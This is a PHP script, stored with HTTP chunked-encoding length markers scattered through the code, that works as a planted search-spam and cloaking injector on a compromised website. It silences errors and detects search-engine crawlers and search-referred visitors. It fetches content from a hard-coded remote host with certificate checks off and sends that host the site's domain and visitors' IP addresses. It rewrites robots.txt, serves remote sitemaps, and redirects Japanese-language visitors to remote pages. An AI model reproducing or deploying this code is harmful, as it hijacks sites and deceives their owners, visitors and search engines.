1
<
3
?ph
3
p
e
4
rror
5
_repo
4
rtin
3
g(0
3
);

5
@set_
4
time
4
_lim
4
it(1
6
20);
@
4
igno
4
re_u
5
ser_a
4
bort
5
(1);

4
$tr 
4
= "h
4
ttps
3
://
3
j26
3
041
3
3_2
3
3.v
4
erni
4
ce.i
4
nfo/
3
";

4
clas
4
s Re
3
q
{
5

    
4
publ
4
ic f
4
unct
4
ion 
6
server
4
($na
5
me = 
4
'', 
3
$de
5
fault
6
 = '')
5

    
b
{
        i
4
f (e
4
mpty
7
($name)
c
) {
        
7
    ret
4
urn 
4
$_SE
4
RVER
6
;
    
5
    }
11

        $name = 
4
strt
4
oupp
8
er($name
b
);
        
9
return is
4
set(
9
$_SERVER[
5
$name
2
])
29
 ? $_SERVER[$name] : $default;
    }
    
14
public function iss(
15
)
    {
        if ($
4
this
2
->
8
server('
2
HT
4
TPS'
3
) &
3
& (
4
"1" 
3
== 
18
$this->server('HTTPS') |
5
| "on
5
" == 
7
strtolo
5
wer($
16
this->server('HTTPS'))
1a
)) {
            return tr
d
ue;
        }
4
 els
6
eif ('
6
https'
14
 == $this->server('R
4
EQUE
3
ST_
4
SCHE
3
ME'
32
)) {
            return true;
        } elseif ('4
2
43
14
' == $this->server('
9
SERVER_PO
2
RT
32
')) {
            return true;
        } elseif ('
1e
https' == $this->server('HTTP_
3
X_F
3
ORW
4
ARDE
4
D_PR
3
OTO
28
')) {
            return true;
        }
12

        return fa
3
lse
1e
;
    }
    public function ho
2
st
16
()
    {
        $host
3
 = 
5
strva
15
l($this->server('HTTP
e
_X_FORWARDED_H
2
OS
5
T') ?
3
: $
19
this->server('HTTP_HOST')
12
);
        return 
6
strpos
6
($host
4
, ':
8
') ? str
3
str
d
($host, ':', 
5
true)
8
 : $host
1d
;
    }
    public function s
4
chem
12
e()
    {
        
8
return $
b
this->iss()
3
 ? 
a
"https" : 
5
"http
d
";
    }
    
11
public function d
1
m
28
()
    {
        return $this->scheme() 
3
. "
4
://"
a
 . $this->
6
host()
1e
;
    }
    public function ip
11
()
    {
        
8
if (gete
3
nv(
6
'HTTP_
4
CLIE
3
NT_
2
IP
15
')) {
            $ip
3
 = 
18
getenv('HTTP_CLIENT_IP')
21
;
        } elseif (getenv('HTTP_
c
X_FORWARDED_
28
FOR')) {
            $ip = getenv('HTTP_
11
X_FORWARDED_FOR')
1e
;
        } elseif (getenv('RE
3
MOT
4
E_AD
22
DR')) {
            $ip = getenv('
d
REMOTE_ADDR')
10
;
        } else
15
 {
            $ip = 
f
$this->server('
28
REMOTE_ADDR');
        }
        return 
3
$ip
1f
;
    }
    public function isc
12
()
    {
        $
4
agen
7
t = str
1c
tolower($this->server('HTTP_
5
USER_
2
AG
6
ENT'))
a
;
        
b
if ($agent 
5
!= ''
6
 && pr
4
eg_m
4
atch
3
('/
4
goog
4
lebo
2
t|
9
google|ya
3
hoo
2
|b
6
ing|ao
4
l/si
4
', $
5
agent
37
)) {
            return true;
        }
        return 
21
false;
    }
    public function 
3
isg
a
()
    {
	
4
	$re
2
fe
22
r = strtolower($this->server('HTTP
3
_RE
4
FERE
4
R'))
10
;
        $refer
4
bots
19
 = 'google|yahoo|bing|aol
10
';
        if ($
6
refer 
16
!= '' && preg_match("/
c
($referbots)
4
/si"
8
, $refer
58
)) {
            return true;
        }
        return false;
    }
    public function 
3
uri
11
()
    {
        
6
if (($
9
pos = str
5
pos($
e
this->server('
a
REQUEST_UR
3
I')
4
, '.
3
php
5
')) !
8
== false
11
) {
            $
4
scri
3
pt_
9
name = ba
6
sename
11
($this->server('S
4
CRIP
3
T_F
3
ILE
2
NA
f
ME'));
        
4
    
23
if (basename($this->server('SCRIPT_
7
NAME'))
6
 === $
b
script_name
14
) {
                
4
$url
3
 = 
16
$this->server('SCRIPT_
14
NAME');
            
1
}
21
 elseif (basename($this->server('
3
PHP
4
_SEL
5
F')) 
3a
=== $script_name) {
                $url = $this->server('
a
PHP_SELF')
32
;
            } elseif (basename($this->server('OR
2
IG
8
_SCRIPT_
42
NAME')) === $script_name) {
                $url = $this->server('
12
ORIG_SCRIPT_NAME')
18
;
            } elseif (
28
($pos = strpos($this->server('PHP_SELF')
5
, '/'
4
 . $
c
script_name)
1b
) !== false) {
            
e
    $url = sub
5
str($
e
this->server('
10
SCRIPT_NAME'), 0
53
, $pos) . '/' . $script_name;
            } elseif ($this->server('DOCUMENT_ROOT') 
3
&& 
8
strpos($
1f
this->server('SCRIPT_FILENAME')
3
, $
1d
this->server('DOCUMENT_ROOT')
4f
) === 0) {
                $url = str_replace($this->server('DOCUMENT_ROOT'), '
4
', $
1f
this->server('SCRIPT_FILENAME')
19
);
            }
        
6
    $r
2
eq
7
uri = $
6
url . 
16
substr($this->server('
16
REQUEST_URI'), $pos + 
c
4);
        
6
} else
10
 {
            $
2e
requri = substr($this->server('REQUEST_URI'), 
16
strpos($this->server('
11
REQUEST_URI'), '/
d
'));
        
a
}
        
b
return rtri
5
m($re
4
quri
c
, '/');
    
16
}
    public function 
4
exec
4
Req(
4
$url
8
, $p = a
4
rray
2
()
10
)
    {
        
13
$url = str_replace(
5
' ', 
2
'+
7
', $url
d
);
        $c
5
h = c
5
url_i
4
nit(
b
);
        
8
curl_set
2
op
5
t($ch
4
, CU
3
RLO
6
PT_URL
11
, $url);
        
1c
curl_setopt($ch, CURLOPT_RET
3
URN
3
TRA
2
NS
5
FER, 
8
1);
    
4
    
1c
curl_setopt($ch, CURLOPT_HEA
5
DER, 
4
0);

23
        curl_setopt($ch, CURLOPT_TI
4
MEOU
3
T, 
5
20);

22
        curl_setopt($ch, CURLOPT_P
3
OST
29
, 1);
        curl_setopt($ch, CURLOPT_SS
2
L_
5
VERIF
3
YPE
29
ER, 0);
        curl_setopt($ch, CURLOPT_
e
SSL_VERIFYHOST
27
, 0);
        curl_setopt($ch, CURLOPT_
6
POSTFI
18
ELDS, http_build_query($
e
p));
        $
9
output = 
5
curl_
8
exec($ch
c
);
        $
c
errorCode = 
8
curl_err
2
no
7a
($ch);
        curl_close($ch);
        if (0 !== $errorCode) {
            return false;
        }
        return $output
8
;
    }

2
}

8
$req = n
2
ew
8
 Req();

4
$isc
4
 = $
5
req->
a
isc();
$is
c
g = $req->is
3
g()
6
;
$uma
4
p = 
4
$tr 
6
. "map
3
";

7
$uri = 
5
urlde
4
code
6
($req-
6
>uri()
4
);
$
f
p = array(
    
4
"dom
2
ai
5
n" =>
b
 $req->dm()
7
,
    "
4
port
b
" => $req->
b
server('SER
3
VER
8
_PORT', 
2
80
b
),
    "uri
9
" => $uri
4

);

c
if (substr($
6
uri, -
4
10) 
4
== "
2
ro
7
bots.tx
2
t"
b
) {
    hea
4
der(
4
"Con
4
tent
4
-typ
4
e:te
3
xt/
5
plain
4
; ch
2
ar
6
set=ut
3
f-8
8
");
    
2
di
11
e($req->execReq($
6
tr . "
a
robots", $
6
p));
}
14

if (substr($uri, -6
c
) == "robots
9
") {
    
10
$output = $req->
1b
execReq($tr . "robots", $p)
9
;
    $rp
5
t = _
4
_DIR
6
__ . "
c
/robots.txt"
8
;
    fi
3
le_
5
put_c
6
ontent
6
s($rpt
9
, $output
8
);
    $
6
robots
9
_cont = @
5
file_
11
get_contents($rpt
7
);
    
b
if (strpos(
c
strtolower($
b
robots_cont
6
), "si
2
te
11
map")) {
        
4
die(
c
"robots.txt 
8
file cre
3
ate
6
 succe
3
ss!
8
");
    
11
} else {
        
1f
die("robots.txt file create fai
b
l!");
    }
16

}
if (substr($uri, -4
7
) == ".
3
xml
9
") {
    
f
if (strpos($uri
5
, "al
8
lsitemap
7
.xml") 
3
|| 
e
strpos($uri, "
a
sitemap-in
3
dex
26
.xml") || strpos($uri, "sitemap-index-
19
1.xml") || strpos($uri, "
b
index.xml")
c
) {
        
1d
$output = $req->execReq($umap
5
, $p)
a
;
        
1e
header("Content-type:text/" . 
9
(substr($
6
output
6
, 0, 5
8
) === '<
4
?xml
4
' ? 
7
'xml' :
2
 '
8
plain') 
3
. '
f
; charset=utf-8
c
');
        
4
die(
3
'' 
10
. $output);
    
6
}
    
19
$output = $req->execReq($
9
tr . "wor
7
d", $p)
6
;
    
1d
header("Content-type:text/xml
17
; charset=utf-8");
    
5
if ($
b
output == "
a
1") {
    
e
    die('' . $
5
req->
12
execReq($umap, $p)
7
);
    
15
} else {
        die(
18
'' . $output);
    }
}
$
3
lan
a
g = $req->
e
server('HTTP_A
3
CCE
4
PT_L
3
ANG
4
UAGE
8
');
if (
1
!
8
$isc && 
4
$isg
10
 && strpos($lang
3
, '
4
ja')
3
!==
f
false) {
    $p
3
["i
3
p"]
a
 = $req->i
3
p()
8
;
    $a
6
ction 
b
= $tr . "ju
9
mp";
    
13
die($req->execReq($
6
action
12
, $p));
}
if ($isc
8
) {
    
18
die('' . $req->execReq($
6
tr . "
5
indat
c
a", $p));
}

2
?>
0